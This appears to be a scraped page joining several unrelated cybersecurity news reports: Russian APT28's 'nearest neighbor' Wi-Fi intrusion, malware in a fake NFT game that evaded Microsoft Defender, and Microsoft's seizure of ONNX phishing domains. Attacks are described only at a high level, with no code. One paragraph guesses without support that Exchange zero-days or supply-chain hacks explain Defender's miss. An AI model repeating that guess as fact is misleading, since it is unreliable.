Since that incident, however, that same unit of Russian military hackers appears to have developed a new and far safer Wi-Fi hacking technique: Instead of venturing into radio range of their target, they found another vulnerable network in a building across the street, remotely hacked into a laptop in that neighboring building, and used that computer's antenna to break into the Wi-Fi network of their intended victim—a radio-hacking trick that never even required leaving Russian soil.

At the Cyberwarcon security conference in Arlington, Virginia, today, cybersecurity researcher Steven Adair will reveal how his firm, Volexity, discovered that unprecedented Wi-Fi hacking technique—what the firm is calling a “nearest neighbor attack"—while investigating a network breach targeting a customer in Washington, DC, in 2022. Volexity, which declined to name its DC customer, has since tied the breach to the Russian hacker group known as Fancy Bear, APT28, or Unit 26165. Part of Russia's GRU military intelligence agency, the group has been involved in notorious cases ranging from the breach of the Democratic National Committee in 2016 to the botched Wi-Fi hacking operation in which four of its members were arrested in the Netherlands in 2018.

In this newly revealed case from early 2022, Volexity ultimately discovered not only that the Russian hackers had jumped to the target network via Wi-Fi from a different compromised network across the street, but also that this prior breach had _also_ potentially been carried out over Wi-Fi from yet another network in the same building—a kind of “daisy-chaining” of network breaches via Wi-Fi, as Adair describes it.

“This is the first case we’ve worked where you have an attacker that’s extremely far away and essentially broke into other organizations in the US in physical proximity to the intended target, then pivoted over Wi-Fi to get into the target network across the street,” says Adair. “That’s a really interesting attack vector that we haven’t seen before.”

A slide describing the “nearest neighbor attack” that Russian hackers used to breach a DC network via Wi-Fi, from the Cyberwarcon presentation of Volexity founder Steven Adair.

Illustration: Volexity

Based on the hackers' targeting of individuals within their customer's network, Adair says that the GRU hackers appear to have been seeking intelligence about Ukraine. It's no coincidence, he says, that the daisy-chained Wi-Fi-based intrusion was carried out in the months just before and after Russia's initial full-scale invasion of Ukraine in February 2022.

Adair argues, though, that the case should serve as a broader warning about cybersecurity threats to Wi-Fi for high-value targets—and not just from the usual suspects loitering in the parking lot or the lobby. “Now we know that a motivated nation-state is doing this and has done it,” says Adair, “It puts on the radar that Wi-Fi security has to be ramped up a good bit.” He suggests organizations that might be the target of similar remote Wi-Fi attacks consider limiting the range of their Wi-Fi, changing the network's name to make it less obvious to potential intruders, or introducing other authentication security measures to limit access to employees.

Adair says that Volexity first began investigating the breach of its DC customer's network in the first months of 2022, when the company saw signs of repeated intrusions into the customer's systems by hackers who had carefully covered their tracks. Volexity's analysts eventually traced the compromise to a hijacked user's account connecting to a Wi-Fi access point in a far end of the building, in a conference room with external-facing windows. Adair says he personally scoured the area looking for the source of that connection. “I went there to physically run down what it could be. We looked at smart TVs, looked for devices in closets. Is someone in the parking lot? Is it a printer?” he says. “We came up dry.”

Only after the next intrusion, when Volexity managed to get more complete logs of the hackers' traffic, did its analysts solve the mystery: The company found that the hijacked machine which the hackers were using to dig around in its customer's systems was leaking the name of the domain on which it was hosted—in fact, the name of another organization just across the road. “At that point, it was 100 percent clear where it was coming from,” Adair says. “It's not a car in the street. It's the building next door.”

With the cooperation of that neighbor, Volexity investigated that second organization's network and found that a certain laptop was the source of the street-jumping Wi-Fi intrusion. The hackers had penetrated that device, which was plugged into a dock connected to the local network via Ethernet, and then switched on its Wi-Fi, allowing it to act as a radio-based relay into the target network. Volexity found that, to break into that target's Wi-Fi, the hackers had used credentials they'd somehow obtained online but had apparently been unable to exploit elsewhere, likely due to two-factor authentication.

Volexity eventually tracked the hackers on that second network to two possible points of intrusion. The hackers appeared to have compromised a VPN appliance owned by the other organization. But they had also broken into the organization's Wi-Fi from _another_ network's devices in the same building, suggesting that the hackers may have daisy-chained as many as three networks via Wi-Fi to reach their final target. “Who knows how many devices or networks they compromised and were doing this on,” says Adair.

In fact, even after Volexity evicted the hackers from their customer's network, the hackers tried again that spring to break in via Wi-Fi, this time attempting to access resources that were shared on the guest Wi-Fi network. “These guys were super persistent,” says Adair. He says that Volexity was able to detect this next breach attempt, however, and quickly lock out the intruders.

Volexity had presumed early on in its investigation that the hackers were Russian in origin due to their targeting of individual staffers at the customer organization focused on Ukraine. Then in April, fully two years after the original intrusion, Microsoft warned of a vulnerability in Windows' print spooler that had been used by Russia's APT28 hacker group—Microsoft refers to the group as Forest Blizzard—to gain administrative privileges on target machines. Remnants left behind on the very first computer Volexity had analyzed in the Wi-Fi-based breach of its customer exactly matched that technique. “It was an exact one-to-one match,” Adair says.

The notion that APT28 would be behind the daisy-chained Wi-Fi hacking makes sense, says John Hultquist, the founder of Cyberwarcon who also leads threat intelligence at Google-owned cybersecurity firm Mandiant and has long tracked the GRU hackers. He sees the technique Volexity uncovered as the natural evolution of APT28's “close-access” hacking methods, in which the GRU has sent small traveling teams in person to hack into target networks via Wi-Fi if other methods failed.

“This is essentially a close-access op like they’ve done in the past, but without the close access,” Hultquist says.

The switch to hacking via Wi-Fi from a remotely compromised device rather than physically placing a spy nearby represents a logical next step following the GRU's operational security disaster in 2018, when its hackers were caught in a car in The Hague attempting to hack the Organization for the Prohibition of Chemical Weapons in response to the OPCW's investigation of the attempted assassination of GRU defector Sergei Skripal. In that incident, the APT28 team was arrested and their devices were seized, revealing their travel around the world from Brazil to Malaysia to carry out similar close-access attacks.

“If a target is important enough, they’re willing to send people in person. But you don’t have to do that if you can come up with an alternative like what we’re seeing here,” Hultquist says. “This is potentially a major improvement for those operations, and it’s something we’ll probably see more of—if we haven’t already.”

Russian Spies Jumped From One Network to Another Via Wi-Fi in an Unprecedented Hack

Malware bypasses Microsoft Defender and 2FA, stealing $24K in cryptocurrency via a fake NFT game app. Learn how…

Malware bypasses Microsoft Defender and 2FA, stealing $24K in cryptocurrency via a fake NFT game app. Learn how it compromised devices and evaded security.

Cybersecurity researchers at SafetyDetectives revealed that Microsoft Defender, the default Windows antivirus, was deceived by malware, enabling the theft of cryptocurrency from an unsuspecting user. The issue was uncovered during the analysis of a seemingly harmless NFT game app, which was actually designed to steal cryptocurrency.

The application also compromised the device by bypassing **Google’s two-factor authentication** and stole over $24,000 in cryptocurrency. According to researchers, the malware, once installed, quietly operates in the background, gathering sensitive information and may even hijack the user’s Google account, which is protected by two-factor authentication (2FA). It achieves this by installing a malicious Chrome extension disguised as Google Keep, bypassing the 2FA security measures.

During the investigation, SafetyDetectives’ team tested Microsoft Defender against the malware-laced app, using Wireshark to monitor network traffic and detect the malware’s location.

Surprisingly, Microsoft Defender failed to stop the virus during its installation and execution, allowing the malware to gain access to system operations, download suspicious files, collect sensitive information, and even determine the user’s location.

The malware was programmed to shut down if the user was in Russia, Ukraine, or Belarus, likely due to its origin. The **fake Chrome extension** enabled the malware to access every website visited, steal login data, and monitor anything copied from the browser. The virus collected everything necessary to remotely control the system, and Microsoft Defender didn’t send an alert.

****Bitdefender and Malwarebytes to the Rescue****

To assess the effectiveness of other antivirus solutions, the team also tested Malwarebytes and Bitdefender. While neither antivirus was able to prevent the initial installation, they did intervene at later stages of the attack. Bitdefender blocked the malware’s attempt to access critical information, while Malwarebytes prevented the installation altogether. 

“While Malwarebytes stopped the breach faster than Bitdefender, neither is inherently better in dealing with this specific malware, as both were able to prevent critical compromise. Bitdefender may even have the benefit of having fewer false positives,” they explained in the **blog post**.

It could be that in recent years, Microsoft Exchange Server has been targeted by a **series** of zero-day vulnerabilities, some of which could have impacted Microsoft Defender’s ability to protect systems. Or supply chain attacks, like the **SolarWinds hack**, can compromise software updates and tools, potentially affecting the integrity of security solutions like Microsoft Defender.

Nevertheless, the investigation emphasizes the importance of investing in stronger antivirus software and exercising caution when downloading and installing applications, especially from unverified sources. Staying informed about cyber threats and taking proactive measures can significantly reduce the risk of malicious attacks.

1.  Microsoft Defender Flags Tor Browser as Malware
2.  Fake ChatGPT Extension Hijacks Facebook Accounts
3.  Malicious Extensions Bypass Google’s MV3 Restrictions
4.  Fake Sites Spread Malware as Malwarebytes, Bitdefender
5.  Phemedrone Exploits Windows Defender SmartScreen Flaw

Malware Bypasses Microsoft Defender and 2FA to Steal $24K in Crypto

Google Workspace has quickly become the productivity backbone for businesses worldwide, offering an all-in-one suite with email, cloud storage and collaboration tools. This single-platform approach makes it easy for teams to connect and work efficiently, no matter where they are, enabling seamless digital transformation that’s both scalable and adaptable.
As companies shift from traditional,

Unlocking Google Workspace Security: Are You Doing Enough to Protect Your Data?

The ONNX infrastructure has been servicing criminal actors as far back as 2017.

Source: Eric D ricochet69 via Alamy Stock Photo

Microsoft seized 240 domains belonging to ONNX, a phishing-as-a-service platform that enabled its customers to target companies and individuals since 2017.

ONNX was the top adversary-in-the-middle (AitM) phishing service, according to Microsoft's "Digital Defense Report 2024," with a high volume of phishing messages during the first six months of this year. Millions of phishing emails targeted Microsoft 365 accounts each month, and Microsoft has apparently had enough.

ONNX promoted and sold phishing kits on Telegram using a subscription service model, which ranged from $150 to $550 a month.

"The fraudulent ONNX operation offered phishing kits designed to target a variety of companies across the technology sector, including Google, Dropbox, Rackspace, and Microsoft," Microsoft said in its statement.

The attacks themselves are controlled through Telegram bots and come with built-in, two-factor authentication (2FA) bypass mechanisms. As of late, QR code phishing, also known as quishing, has also been enabled, targeting financial firms' employees. ONNX uses bulletproof hosting services that allow delays in phishing domain takedowns, as well as encrypted JavaScript code that decrypts itself, all of which allows them to be highly effective in carrying out attacks and evading detection.

"While today's legal action will substantially hamper the fraudulent ONNX's operations, other providers will fill the void, and we expect threat actors will adapt their techniques in response," stated Steven Masada, assistant general counsel at Microsoft's Digital Crimes Unit. "However, taking action sends a strong message to those who choose to replicate our services to harm users online: we will proactively pursue remedies to protect our services and our customers and are continuously improving our technical and legal strategies to have greater impact."

A full list of the 240 domains that were seized is available online.

**About the Author**

Tag

#google